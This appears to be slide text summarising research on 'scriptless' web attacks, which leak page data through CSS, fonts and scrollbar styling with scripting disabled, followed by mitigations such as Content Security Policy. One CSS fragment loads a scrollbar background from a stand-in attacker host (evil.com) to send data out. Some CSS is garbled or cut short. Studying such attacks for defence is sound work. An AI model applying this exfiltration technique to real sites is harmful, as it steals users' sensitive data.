SCRIPT LESS ATTACKS STEALING THE PIE WITHOUT TOUCHING THE SILL

BACKGROUND XSS recently replaced SQL injection and related server-side injection attacks as the number one threat in the OWASP (Open Web Application Security Project) ranking. As popular applications like Skype, Outlook, Thunderbird, Windows 8 are using HTML, security extensions like NoScript are being used by users. Given all these defense strategies, we expect that attackers will thrive towards developing “Scriptless Attacks” which achieve same goal as XSS attacks without using any scripting.

BEYOND SCRIPT-BASED ATTACKS Assumptions: The attacker can inject arbitrary data into the DOM rendered by the browser We assume that scripting is completely disabled The following browser features to be useful building blocks in constructing attacks - Web-fonts based on SVG and WOFF Attacker employ these fonts and utilize their features to vary the properties of displayed website content.

ATTACK COMPONENTS CSS-based Animations With CSS based animations, it is possible to over time change a wide range of CSS and DOM properties without using any script code The CSS Content Property CSS allows to use a property called content to extract arbitrary attribute values and display the value either before, after, or instead of the selected element CSS Media screen and (min -width: 401px){ *{ background:green;} body:after{content:’larger view - port’} screen and (max -width: 400px) { *{ background:red;} body:after{content:’smaller view - port’ } } a[href^=

MEASUREMENT-BASEDCONTENT EXFILTRATION- USING SMART SCROLLBARS To enable a purely CSS-based data exfiltration attack, we utilize all of the available features listed in above section. secret div#s::-webkit -scrollbar -track -piece :vertical:increment { background:red url(// evil.com?s); } To mitigate this attack, it is recommended to treat scrollbar backgrounds and scrollbar state backgrounds equally; all background images and similar external resources should be loaded during page-load and not on appearance or state occurrence.

MITIGATION TECHNIQUES We conclude that several layers of protection are necessary to effectively and holistically defend against CSS-, SVG- and HTML-based data leakage 1.Content Security Policy (CSP) 2.Detecting Detached Views 3.Miscellaneous Defense Techniques Conclusion : While the attacks discussed in this paper presumably do not represent the entirety of ways to illegitimately retrieve sensitive user-data, we believe that the attack components discussed in this paper are of great importance to other attack vectors.